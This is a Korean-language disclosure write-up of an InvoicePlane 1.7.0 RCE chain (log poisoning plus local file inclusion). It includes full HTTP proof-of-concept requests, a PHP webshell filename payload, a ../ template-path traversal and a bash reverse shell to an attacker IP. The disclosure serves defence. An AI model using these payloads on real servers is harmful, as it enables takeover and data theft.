
# CVE-2026-25548 — InvoicePlane 1.7.0 RCE 상세 분석 및 PoC InvoicePlane 1.7.0에서 발견된 치명적인 원격 코드 실행(RCE) 취약점에 대한 상세 기술 문서 및 개념 증명(PoC)입니다. 본 취약점은 로컬 파일 포함(LFI)과 로그 오염(Log Poisoning)을 결합한 공격 체인을 통해 발생하며, 공격 체인, PoC 요청, 영향 분석을 포함합니다.
취약점: 로컬 파일 포함(LFI) + 로그 오염(Log Poisoning)을 통한 원격 코드 실행
제품: InvoicePlane
영향받는 버전: 1.7.0 (이전 버전도 가능성 있음)
심각도: 치명적(Critical)
CVSS 3.1 점수: 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
CWE: CWE-98, CWE-117, CWE-94
발견자: Leonidas Agathos
보고일: 2026-01-31
InvoicePlane 1.7.0의 치명적인 취약점 체인을 통해 인증된 관리자가 서버에서 원격 코드 실행(RCE) 을 달성할 수 있습니다. 이 공격은 두 가지 약점을 결합합니다:
.php 로그 파일에 그대로 기록되어 임의의 PHP 코드를 주입할 수 있습니다.이 두 가지를 연결하면 관리자 권한을 가진 공격자는 웹 서버 사용자 권한으로 서버를 완전히 장악할 수 있습니다. 최종 RCE 트리거는 인증이 필요 없습니다(공개 인보이스 URL).
| 속성 | 값 |
|---|---|
| 파일 | application/modules/guest/controllers/View.php |
| 라인 | 85, 191 |
| 파라미터 | public_invoice_template (데이터베이스 설정) |
| CWE | CWE-98: Include/Require 문의 파일명 제어 불량 |
취약한 코드 (View.php:85):
$this->load->view('invoice_templates/public/' .
get_setting('public_invoice_template') . '.php', $data);
취약한 코드 (View.php:191):
$this->load->view('quote_templates/public/' .
get_setting('public_quote_template') . '.php', $data);
public_invoice_template 및 public_quote_template 설정은 데이터베이스에서 가져와 CodeIgniter의 load->view()(PHP의 include()로 해석됨)에 전달되는 파일 경로에 직접 연결됩니다. 다음에 대한 검증이 전혀 없습니다:
../) 차단관리자는 이 값을 파일 시스템의 임의 경로로 설정할 수 있으며, .php 확장자가 자동으로 추가된다는 제약만 있습니다.
| 속성 | 값 |
|---|---|
| 파일 | application/modules/upload/controllers/Upload.php |
| 라인 | 178–184 |
| 파라미터 | 업로드 파일명 (HTTP multipart 폼 데이터) |
| CWE | CWE-117: 로그 출력 중화 불량 |
취약한 코드 (Upload.php:178-184):
private function sanitize_file_name(string $filename): string
{
if (str_contains($filename, '..')
|| str_contains($filename, '/')
|| str_contains($filename, '\\')
|| str_contains($filename, "\0")) {
log_message('error', 'Path traversal attempt detected in filename: ' . $filename);
return '';
}
// ...
}
파일명이 경로 탐색 검사를 트리거하면 원본, 정화되지 않은 파일명이 로그 파일에 직접 기록됩니다. CodeIgniter 로그 파일:
.php 확장자 사용: application/logs/log-YYYY-MM-DD.php<?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>로 시작공격자가 파일명에 <?php system($_GET[1]); ?>를 포함하면 해당 페이로드가 로그에 기록되고 이후 LFI를 통해 실행됩니다.
[인증된 사용자] → 악성 파일명 업로드 → 로그 파일에 PHP 주입
[관리자] → 템플릿 설정 변경 → LFI가 로그 파일을 가리킴
[누구나] → 공개 인보이스 URL 방문 → RCE
| 단계 | 요구 사항 |
|---|---|
| 로그 오염 | 업로드 접근 권한이 있는 인증된 사용자 |
| LFI 구성 | 관리자 계정 |
| RCE 트리거 | 인증 불필요 (공개 인보이스 URL) |
파일명에 PHP 웹셸이 포함된 파일 업로드 요청을 보냅니다. 경로 탐색 검사가 트리거되어 원본 파일명(PHP 페이로드 포함)이 로그 파일에 기록됩니다.
요청 (Burp Suite 사용):
POST /index.php/upload/upload_file/3/13phvCzZiPyOXKYeJBk084jHL5NTGn9d HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=...
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="_ip_csrf"
<csrf_token>
------Boundary
Content-Disposition: form-data; name="file"; filename="..<?php system($_GET[1]); ?>.jpg"
Content-Type: image/jpeg
test
------Boundary--
서버는 업로드를 거부하지만(upload_error_invalid_extension) 로그 항목은 이미 기록됩니다:
application/logs/log-2026-01-31.php 결과:
ERROR - 2026-01-31 10:35:06 --> Path traversal attempt detected in filename: ..<?php system($_GET[1]); ?>.jpg
인보이스의 첨부 파일 섹션으로 이동하여 파일 추가를 클릭하면 업로드 엔드포인트에 도달할 수 있습니다.



관리자 권한으로 경로 탐색 페이로드를 사용하여 public_invoice_template 설정을 오늘 날짜의 로그 파일을 가리키도록 설정합니다. CodeIgniter의 뷰 로더가 .php를 자동으로 추가합니다.
요청 (Burp Suite 사용):
POST /index.php/settings HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=<admin_session>
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="settings[public_invoice_template]"
../../../logs/log-2026-01-31
------Boundary--
탐색 경로는 application/views/invoice_templates/public/에서 application/logs/까지 올라간 다음 log-2026-01-31.php를 포함합니다.

1 GET 파라미터로 명령을 전달하여 공개 인보이스 URL에 접근합니다. 인증이 필요 없습니다.
요청:
GET /index.php/guest/view/invoice/<invoice_url_key>?1=id HTTP/1.1
Host: 172.25.0.12
응답 (페이지 소스 내):
Path traversal attempt detected in filename: ..uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
.jpg
system($_GET[1]) 페이로드가 id 명령을 실행하고 그 출력이 페이지에 인라인으로 반영됩니다.

명령을 bash 리버스 셸 페이로드로 교체하여 대화형 셸을 얻습니다:
GET /index.php/guest/view/invoice/<invoice_url_key>?1=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.25.131/4444+0>%261' HTTP/1.1
공격자 머신에서:
nc -lnvp 4444
결과:
connect to [192.168.25.131] from (UNKNOWN) [172.25.0.11] 43360
www-data@0dd592f7a424:~/projects/invoiceplane$
www-data 권한의 완전한 대화형 셸.

| 차원 | 등급 | 세부 사항 |
|---|---|---|
| 기밀성 | 높음 | 웹 서버 사용자가 접근 가능한 모든 파일에 대한 전체 읽기 권한 (데이터베이스 자격 증명 및 고객 인보이스 데이터 포함) |
| 무결성 | 높음 | 임의 파일 쓰기, 데이터베이스 수정, 웹셸 설치 |
| 가용성 | 높음 | 서비스 거부, 랜섬웨어 배포, 시스템 파괴 |
| 파일 | 취약점 |
|---|---|
application/modules/guest/controllers/View.php:85 | LFI — 인보이스 템플릿 |
application/modules/guest/controllers/View.php:191 | LFI — 견적 템플릿 |
application/modules/upload/controllers/Upload.php:182 | 로그 오염 |
application/modules/settings/controllers/Settings.php | 템플릿 설정 검증 없음 |
| 날짜 | 이벤트 |
|---|---|
| 2026-01-30 | 취약점 발견 |
| 2026-01-31 | 개념 증명 개발 |
| 2026-01-31 | 공급업체에 통보 |
| 2026-02-03 | 공급업체 확인 |
| 2026-02-03 | 패치 릴리스 |
| 2026-02-04 | 공개 공개 |
이 취약점은 독립적인 보안 연구 중에 발견되었습니다. 모든 정보는 공급업체와 보안 커뮤니티가 문제를 이해하고 해결하는 데 도움을 주기 위한 교육, 연구 및 방어 목적으로만 제공됩니다. 이 정보의 악의적인 사용은 엄격히 금지됩니다.